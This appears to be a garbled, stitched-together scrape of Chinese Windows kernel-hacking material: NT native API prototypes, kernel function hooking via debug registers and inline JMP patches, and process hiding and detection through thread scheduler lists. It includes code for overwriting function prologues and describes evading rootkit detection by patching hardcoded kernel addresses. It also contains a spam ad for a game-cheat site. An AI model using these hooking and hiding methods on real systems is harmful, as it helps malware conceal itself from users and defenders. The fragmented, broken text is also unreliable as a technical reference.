PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE InheritFromProcessHandle,IN ULONG CreateFlags,IN HANDLE SectionHandle OPTIONAL,IN HANDLE DebugObject OPTIONAL,IN HANDLE ExceptionPort OPTIONAL,IN ULONG JobMemberLevel);NTSYSAPINTSTATUSNTAPINtCreateProfile(OUT PHANDLE ProfileHandle,IN HANDLE ProcessHandle,IN PVOID Base,IN ULONG Size,IN ULONG BucketShift,IN PULONG Buffer,IN ULONG BufferLength,IN KPROFILE_SOURCE Source,IN ULONG ProcessorMask);NTSYSAPINTSTATUSNTAPINtCreateSection(IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes, IN PLARGE_INTEGER SectionSize OPTIONAL, IN ULONG Protect,IN ULONG Attributes,IN HANDLE FileHandle);NTSYSAPINTSTATUSNTAPINtCreateSemaphore(OUT PHANDLE SemaphoreHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes, IN LONG InitialCount,IN LONG MaximumCount);NTSYSAPINTSTATUSNTAPINtCreateSymbolicLinkObject(OUT PHANDLE SymbolicLinkHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes, IN PUNICODE_STRING TargetName);NTSYSAPINTSTATUSNTAPINtCreateThread(OUT PHANDLE ThreadHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE ProcessHandle,OUT PCLIENT_ID ClientId,IN PCONTEXT ThreadContext,IN PUSER_STACK UserStack,IN BOOLEAN CreateSuspended);NTSYSAPINTSTATUSNTAPINtCreateTimer(IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes, IN TIMER_TYPE TimerType);NTSYSAPINTSTATUSNTAPINtCreateToken(OUT PHANDLE TokenHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes, IN TOKEN_TYPE Type,IN PLUID AuthenticationId,IN PLARGE_INTEGER ExpirationTime,IN PTOKEN_USER User,IN PTOKEN_GROUPS Groups,IN PTOKEN_PRIVILEGES Privileges,IN PTOKEN_OWNER Owner,IN PTOKEN_PRIMARY_GROUP PrimaryGroup, IN PTOKEN_DEFAULT_DACL DefaultDacl,IN PTOKEN_SOURCE Source);NTSYSAPINTSTATUSNTAPINtCreateWaitablePort(OUT PHANDLE PortHandle,IN POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG MaxConnectionInfoLength,IN ULONG MaxMessageLength,IN ULONG MaxPoolUsage);NTSYSAPINTSTATUSNTAPINtDebugActiveProcess(IN HANDLE Process,IN HANDLE DebugObject);NTSYSAPINTSTATUSNTAPINtDebugContinue(IN HANDLE DebugObject,IN PCLIENT_ID AppClientId,IN NTSTATUS ContinueStatus);NTSYSAPINTSTATUSNTAPINtDelayExecution(IN BOOLEAN Alertable,IN PLARGE_INTEGER Interval);NTSYSAPINTSTATUSNTAPINtDeleteAtom(IN USHORT Atom);NTSYSAPINTSTATUSNTAPINtDeleteBootEntry(IN PUNICODE_STRING EntryName,IN PUNICODE_STRING EntryValue);NTSYSAPINTSTATUSNTAPINtDeleteDriverEntry(IN PUNICODE_STRING DriverName,IN PUNICODE_STRING DriverPath);NTSYSAPINTSTATUSNTAPINtDeleteFile(IN POBJECT_ATTRIBUTES ObjectAttributes );NTSYSAPINTSTATUSNTAPINtDeleteKey(IN HANDLE KeyHandle);NTSYSAPINTSTATUSNTAPINtDeleteObjectAuditAlarm(IN PUNICODE_STRING SubsystemName,IN PVOID HandleId,IN BOOLEAN GenerateOnClose);NTSYSAPINTSTATUSNTAPINtDeleteValueKey(IN HANDLE KeyHandle,IN PUNICODE_STRING ValueName);NTSYSAPINTSTATUSNTAPINtDeviceIoControlFile(IN HANDLE FileHandle,IN HANDLE Event OPTIONAL,IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL,OUT PIO_STATUS_BLOCK IoStatusBlock,IN ULONG IoControlCode,IN PVOID InputBuffer OPTIONAL,IN ULONG InputBufferLength,OUT PVOID OutputBuffer OPTIONAL,IN ULONG OutputBufferLength);NTSYSAPINTSTATUSNTAPINtDisplayString(IN PUNICODE_STRING String);NTSYSAPINTSTATUSNTAPINtDuplicateObject(IN HANDLE SourceProcessHandle,IN HANDLE SourceHandle,IN HANDLE TargetProcessHandle,OUT PHANDLE TargetHandle OPTIONAL,IN ACCESS_MASK DesiredAccess,IN ULONG Attributes,IN ULONG Options);NTSYSAPINTSTATUSNTAPINtDuplicateToken(IN HANDLE ExistingTokenHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN BOOLEAN EffectiveOnly,IN TOKEN_TYPE TokenType,OUT PHANDLE NewTokenHandle);NTSYSAPINTSTATUSNTAPINtEnumerateBootEntries(IN ULONG Unknown1,IN ULONG Unknown2);NTSYSAPINTSTATUSNTAPINtEnumerateKey(IN HANDLE KeyHandle,IN ULONG Index,IN KEY_INFORMATION_CLASS KeyInformationClass, OUT PVOID KeyInformation,IN ULONG KeyInformationLength,OUT PULONG ResultLength);NTSYSAPINTSTATUSNTAPI NtEnumerateSystemEnvironmentValuesEx(IN ULONG Unknown1,IN ULONG Unknown2,IN ULONG Unknown3);NTSYSAPINTSTATUSNTAPINtEnumerateValueKey(IN ULONG Index,IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, OUT PVOID KeyValueInformation,IN ULONG KeyValueInformationLength,OUT PULONG ResultLength);NTSYSAPINTSTATUSNTAPINtExtendSection(IN HANDLE SectionHandle,IN PLARGE_INTEGER SectionSize);NTSYSAPINTSTATUSNTAPINtFilterToken(IN HANDLE ExistingTokenHandle,IN ULONG Flags,IN PTOKEN_GROUPS SidsToDisable,IN PTOKEN_PRIVILEGES PrivilegesToDelete,IN PTOKEN_GROUPS SidsToRestricted,OUT PHANDLE NewTokenHandle);NTSYSAPINTSTATUSNTAPINtFindAtom(IN PWSTR String,IN ULONG StringLength,OUT PUSHORT Atom);NTSYSAPINTSTATUSNTAPINtFlushBuffersFile(IN HANDLE FileHandle,OUT PIO_STATUS_BLOCK IoStatusBlock);NTSYSAPINTSTATUSNTAPINtFlushInstructionCache(IN PVOID BaseAddress OPTIONAL,IN ULONG FlushSize);NTSYSAPINTSTATUSNTAPINtFlushKey(IN HANDLE KeyHandle);NTSYSAPINTSTATUSNTAPINtFlushVirtualMemory(IN HANDLE ProcessHandle,IN OUT PVOID *BaseAddress,IN OUT PULONG FlushSize,OUT PIO_STATUS_BLOCK IoStatusBlock );NTSYSAPINTSTATUSNTAPINtFlushWriteBuffer(VOID);NTSYSAPINTSTATUSNTAPINtYieldExecution(VOID);NTSYSAPINTSTATUSNTAPINtWriteVirtualMemory(IN HANDLE ProcessHandle,IN PVOID BaseAddress,IN PVOID Buffer,IN ULONG BufferLength,OUT PULONG ReturnLength OPTIONAL );NTSYSAPINTSTATUSNTAPINtWriteRequestData(IN HANDLE PortHandle,IN PPORT_MESSAGE Message,IN ULONG Index,IN PVOID Buffer,IN ULONG BufferLength,OUT PULONG ReturnLength OPTIONAL );NTSYSAPINTSTATUSNTAPINtWriteFileGather(IN HANDLE FileHandle,IN HANDLE Event OPTIONAL,IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL,OUT PIO_STATUS_BLOCK IoStatusBlock,IN PFILE_SEGMENT_ELEMENT Buffer,IN ULONG Length,IN PLARGE_INTEGER ByteOffset OPTIONAL, IN PULONG Key OPTIONAL);NTSYSAPINTSTATUSNTAPINtWriteFile(IN HANDLE FileHandle,IN HANDLE Event OPTIONAL,IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL,OUT PIO_STATUS_BLOCK IoStatusBlock,IN PVOID Buffer,IN ULONG Length,IN PLARGE_INTEGER ByteOffset OPTIONAL, IN PULONG Key OPTIONAL);NTSYSAPINTSTATUSNTAPINtWaitLowEventPair(IN HANDLE EventPairHandle);NTSYSAPINTSTATUSNTAPINtWaitHighEventPair(IN HANDLE EventPairHandle);NTSYSAPINTSTATUSNTAPINtWaitForSingleObject(IN HANDLE Handle,IN BOOLEAN Alertable,IN PLARGE_INTEGER Timeout OPTIONAL );NTSYSAPINTSTATUSNTAPINtWaitForMultipleObjects32(IN ULONG HandleCount,IN PHANDLE Handles,IN WAIT_TYPE WaitType,IN BOOLEAN Alertable,IN PLARGE_INTEGER Timeout OPTIONAL );NTSYSAPINTSTATUSNTAPINtWaitForMultipleObjects(IN ULONG HandleCount,IN PHANDLE Handles,IN WAIT_TYPE WaitType,IN BOOLEAN Alertable,IN PLARGE_INTEGER Timeout OPTIONAL );NTSYSAPINTSTATUSNTAPINtWaitForKeyedEvent(IN HANDLE KeyedEventHandle,IN PVOID Key,IN BOOLEAN Alertable,IN PLARGE_INTEGER Timeout OPTIONAL );NTSYSAPINTSTATUSNTAPINtWaitForDebugEvent(IN HANDLE DebugObject,IN BOOLEAN Alertable,IN PLARGE_INTEGER Timeout OPTIONAL,OUT PDBGUI_WAIT_STATE_CHANGE StateChange );NTSYSAPINTSTATUSNTAPINtVdmControl(IN VDMSERVICECLASS Service,IN OUT PVOID ServiceData);NTSYSAPINTSTATUSNTAPINtUnmapViewOfSection(IN HANDLE ProcessHandle,IN PVOID BaseAddress);NTSYSAPINTSTATUSNTAPINtUnlockVirtualMemory(IN HANDLE ProcessHandle,IN OUT PVOID *BaseAddress,IN OUT PULONG LockSize,IN ULONG LockType);NTSYSAPINTSTATUSNTAPINtUnlockFile(IN HANDLE FileHandle,OUT PIO_STATUS_BLOCK IoStatusBlock,IN PULARGE_INTEGER LockOffset,IN PULARGE_INTEGER LockLength,IN ULONG Key);NTSYSAPINTSTATUSNTAPINtUnloadKeyEx(IN POBJECT_ATTRIBUTES KeyObjectAttributes,IN HANDLE EventHandle OPTIONAL);NTSYSAPINTSTATUSNTAPINtUnloadKey2(IN POBJECT_ATTRIBUTES KeyObjectAttributes, IN BOOLEAN ForceUnload);NTSYSAPINTSTATUSNTAPINtUnloadKey(IN POBJECT_ATTRIBUTES KeyObjectAttributes );NTSYSAPINTSTATUSNTAPINtUnloadDriver(IN PUNICODE_STRING DriverServiceName );NTSYSAPINTSTATUSNTAPINtTranslateFilePath(PFILE_PATH InputFilePath,ULONG OutputType,PFILE_PATH OutputFilePath,ULONG OutputFilePathLength);NTSYSAPINTSTATUSNTAPINtTraceEvent(IN ULONG TraceHandle,IN ULONG Flags,IN ULONG TraceHeaderLength,IN PEVENT_TRACE_HEADER TraceHeader);NTSYSAPINTSTATUSNTAPINtTerminateThread(IN HANDLE ThreadHandle OPTIONAL,。
简析利用调试寄存器实现内核函数的HOOK
#pragma pack(push,1)
typedef struct _idtr
{ //定义 中断描 述符表 的限制 ,长度 两字节 ;
short
IDTLimit;
//定义 中断描 述服表 的基址 ,长度 四字节 ;
unsigned int IDTBase;
}IDTR,*PIDTR;
typedef struct _IDTENTRY {
对这些寄存器的访问使用通常的 MOV 指令: MOV reg Dri 该指令将调试寄存器 i 中的内容读至通用寄存器 reg 中; MOV Dri reg 该指令将通用寄存器 reg 中的内容写至调试寄存器 i 中。此处 i 的取值可以为0至7 中的 任意值 。
这些 寄存器 的功能 如下: DR0—DR3 寄存器 DR0—DR3包含有与四个断点条件的每一个相联系的线性地址(断点条件则 在 DR7中)。因为这里使用的是线性地址,所以,断点设施的操作,无论分页机制是否启用,都 是相 同的。 DR4—DR5 保留。 DR6是调试状态寄存器。当一个调试异常产生时,处理器设置 DR6的相应位,用于指示调试异 常发 生的原 因,帮 助调试 异常处 理程序 分析、 判断, 以及作 出相应 处理。 DR 7 是调 试控制 寄存器。分别 对应四 个断点 寄存器 的控制 位,对断 点的启 用及断 点类型 的选择 进 行控 制。所 有断点 寄存器 的保护 也在此 寄存器 中规定 。
然后我们应该去修改 IDT 表,将1号中断指向我们的处理程序. 接着需要考虑在中断例程我们要做的事情,关于中断时 CPU 具体做了什么,大家可以去搜索.下 面只介绍我们所关心的在内核空间发生 DB 例外时的情况:中断发生时,依次将 EFLAGS,CS,EIP 压入 堆栈,然后 进入中 断程序 (由于 中断地 址本来 就在内 核空间 ,所以 不需要 切换堆 栈).在中 断处理 程序中作出相应的处理,然后使用 iretd 指令退出中断.( iretd 指令: 依次将堆栈弹出到 EIP,CS, EFLAGS),我们可以通过修改堆栈中 EIP 的值,在中断返回时跳转实现 HOOK.
Hook内核函数(KiReadyThread)检测进程
Hook内核函数(KiReadyThread)检测进程Hook 内核函数(KiReadyThread)检测进程1. 介绍通用Hook内核函数的方法当我们要拦截目标函数的时候,只要修改原函数头5个字节的机器代码为一个JMP XXXXXXXX(XXXXXXXX是距自己的Hook函数的偏移量)就行了。
并且保存原来修改前的5个字节。
在跳入原函数时,恢复那5个字节即可。
char JmpMyCode [] = {0xE9,0x00,0x00,0x00,0x00};//E9对应Jmp偏移量指令*((ULONG*)(JmpMyCode+1))=(ULONG)MyFunc-(ULONG)OrgDestFunction-5;//获得偏移量memcpy(OrgCode,(char*)OrgDestFunction,5);//保存原来的代码memcpy((char*)OrgDestFunction,JmpMyCode,5);//覆盖前一个命令为一个跳转指令在系统内核级中,MS的很多信息都没公开,包括函数的参数数目,每个参数的类型等。
在系统内核中,访问了大量的寄存器,而很多寄存器的值,是上层调用者提供的。
如果值改变系统就会变得不稳定。
很可能出现不可想象的后果。
另外有时候对需要Hook的函数的参数不了解,所以不能随便就去改变它的堆栈,如果不小心也有可能导致蓝屏。
所以Hook的最佳原则是在自己的Hook函数中呼叫原函数的时候,所有的寄存器值,堆栈里面的值和Hook前的信息一样。
这样就能保证在原函数中不会出错。
一般我们自己的Hook的函数都是写在C文件里面的。
例如Hook的目标函数KiReadyThread。
那么一般就自己实现一个:MyKiReadyThread(...){......call KiReadyThread......}但是用C编译器编译出来的代码会出现一个堆栈帧:Push ebpmov ebp,esp这就和我们的初衷不改变寄存器的数违背了。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
NT内核级进程隐藏3-线程调度链表及Hook内核函数基于线程调度链表的检测和隐藏技术1.什么是ETHREAD和KTHREAD块学习各种外挂制作技术,马上去百度搜索"魔鬼作坊"点击第一个站进入、快速成为做挂达人。
Windows2000是由执行程序线程(ETHREAD)块表示的,ETHREAD成员都是指向的系统空间,进程环境块(TEB)除外。
ETHREAD块中的第一个结构体就是内核线程(KTHREAD)块。
在KTHREAD块中包含了windows2000内核需要访问的信息。
这些信息用于执行线程的调度和同步正在运行的线程。
kd>!kthreadstruct_KTHREAD(sizeof=432)+000struct_DISPA TCHER_HEADER Header+010struct_LIST_ENTRY MutantListHead+018void*InitialStack+01c void*StackLimit+020void*Teb+024void*TlsArray+028void*KernelStack+02c byte DebugActive+02d byte State+02e byte Alerted[2]+030byte Iopl+031byte NpxState+032char Saturation+033char Priority+034struct_KAPC_STATE ApcState+034struct_LIST_ENTRY ApcListHead[2] +044struct_KPROCESS*Process+04c uint32ContextSwitches+050int32WaitStatus+054byte WaitIrql+055char WaitMode+056byte WaitNext+057byte WaitReason+058struct_KWAIT_BLOCK*WaitBlockList +05c struct_LIST_ENTRY WaitListEntry+064uint32WaitTime+068char BasePriority+069byte DecrementCount+06a char PriorityDecrement+06b char Quantum+06c struct_KWAIT_BLOCK WaitBlock[4] +0cc void*LegoData+0d0uint32KernelApcDisable+0d4uint32UserAffinity+0d8byte SystemAffinityActive+0d9byte PowerState+0da byte NpxIrql+0db byte Pad[1]+0dc void*ServiceTable+0e0struct_KQUEUE*Queue+0e4uint32ApcQueueLock+0e8struct_KTIMER Timer+110struct_LIST_ENTRY QueueListEntry+118uint32Affinity+11c byte Preempted+11d byte ProcessReadyQueue+11e byte KernelStackResident+11f byte NextProcessor+120void*CallbackStack+124void*Win32Thread+128struct_KTRAP_FRAME*TrapFrame+12c struct_KAPC_STATE*ApcStatePointer[2] +134char PreviousMode+135byte EnableStackSwap+136byte LargeStack+137byte ResourceIndex+138uint32KernelTime+13c uint32UserTime+140struct_KAPC_STATE SavedApcState+158byte Alertable+159byte ApcStateIndex+15a byte ApcQueueable+15b byte AutoAlignment+15c void*StackBase+160struct_KAPC SuspendApc+190struct_KSEMAPHORE SuspendSemaphore+1a4struct_LIST_ENTRY ThreadListEntry+1ac char FreezeCount+1ad char SuspendCount+1ae byte IdealProcessor+1af byte DisableBoost在偏移0x5c处有一个WaitListEntry成员,这个就是用来链接到线程调度链表的。
在偏移0x34处有一个ApcState成员结构,在ApcState中的Process域就是指向当前线程关联的进程的KPROCESS块,由于KPROCESS块是EPROCESS块的第一个元素,所以找到了KPROCESS块指针也就是找到了EPROCESS块的指针。
找到了EPROCESS就不用多少了,就可以取得当前线程的进程的名字,ID号等。
2.线程调度在windows系统中,线程调度主要分成三条主要的调度链表。
分别是KiWaitInListHead,KiWaitOutListhead,KiDispatcherReadyListHead,分别是两条阻塞链,一条就绪链表,当线程获得CPU执行的时候,系统分配一个时间片给线程,当发生一次时钟中断就从分配的时间片上减去一个时钟中断的值,如果这个值小于零了也就是时间片用完了,那么这个线程根据其优先级载入到相应的就绪队列末尾。
KiDispatcherReadyListHead是一个数组链的头部,在windows2000中它包含有32个队列,分别对应线程的32个优先级。
如果线程因为同步,或者是对外设请求,那么阻塞线程,让出CPU的所有权,加如到阻塞队列里面去。
CPU从就绪队列里面,按照优先权的前后,重新调度新的线程的执行。
当阻塞队列里面的线程获得所需求的资源,或者是同步完成就又重新加到就绪队列里面等待执行。
3.通过线程调度链表进行隐藏进程的检测void DisplayList(PLIST_ENTRY ListHead){PLIST_ENTRY List=ListHead->Flink;if(List==ListHead){//DbgPrint("return\n");return;}PLIST_ENTRY NextList=List;while(NextList!=ListHead){PKTHREAD Thread=ONTAINING_RECORD(NextList,KTHREAD,WaitListEntry); PKPROCESS Process=Thread->ApcState.Process;PEPROCESS pEprocess=(PEPROCESS)Process;DbgPrint("ImageFileName=%s\n",pEprocess->ImageFileName);NextList=NextList->Flink;}}以上是对一条链进行进程枚举。
所以我们必须找到KiWaitInListHead,KiWaitOutListhead,KiDispatcherReadyListHead的地址,由于他们都没有被ntoskrnl.exe导出来,所以只有通过硬编码的办法给他们赋值。
通过内核调试器,能找到(windows2000sp4):PLIST_ENTRY KiWaitInListHead=(PLIST_ENTRY)0x80482258;PLIST_ENTRY KiDispatcherReadyListHead=(PLIST_ENTRY)0x804822e0;PLIST_ENTRY KiWaitOutListhead=(PLIST_ENTRY)0x80482808;遍历所有的线程调度链表。
for(i=0;i<32;i++){DisplayList(KiDispatcherReadyListHead+i);}DisplayList(KiWaitInListHead);DisplayList(KiWaitOutListhead);通过上面的那一小段核心代码就能把删除活动进程链表的隐藏进程给查出来。
也可以改写一个友好一点的驱动,加入IOCTL,得到的进程信息把打印在DbgView中把它返回给Ring3的应用程序,然后应用程序对返回的数据进行处理,和Ring3级由PSAPI得到的进程对比,然后判断是不是有隐藏的进程。
4.绕过内核调度链表隐藏进程。
Xfocus上SoBeIt提出了绕过内核调度链表进程检测。
详情可以参见原文: /articles/200404/693.html由于现在的基于线程调度的检测系统都是通过内核调试器得硬编码来枚举所有的调度线程的,所以我们完全可以自己创造一个那三个调度链表头,然后把原链表头从链中断开,把自己的申请的链表头接上去。
由于线程调度的时候会用到KiFindReadyThread等内核API,在KiFindReadyThread里面又会去访问KiDispatcherReadyListHead,所以我完全可以把KiFindReadyThread中那段访问KiDispatcherReadyListHead的机器码修改了,把原KiDispatcherReadyListHead的地址改成我们新申请的头。
kd>u KiFindReadyThread+0x48nt!KiFindReadyThread+0x48:804313db8d34d5e0224880lea esi,[nt!KiDispatcherReadyListHead(804822e0)+edx*8]很明显我们可以在机器码中看到e0224880,由于它是在内存中以byte序列显示的转换成DWORD就是804822e0就是我们KiDispatcherReadyListHead的地址。
所以我们要做的就是把[804313db+3]赋值成我们自己申请的一个链头。
使其系统以后对原链表头的操作变化成对我们自己申请的链表头的操作。
同理用到那三个链表头的还有一些内核API,所以必须找到他们在机器码中含有原表头地址信息的具体地址然后把它全部替换掉。
不然系统调度就会出错.系统中用到KiWaitInListHead的例程:KeWaitForSingleObject、KeWaitForMultipleObject、KeDelayExecutionThread、KiOutSwapKernelStacks。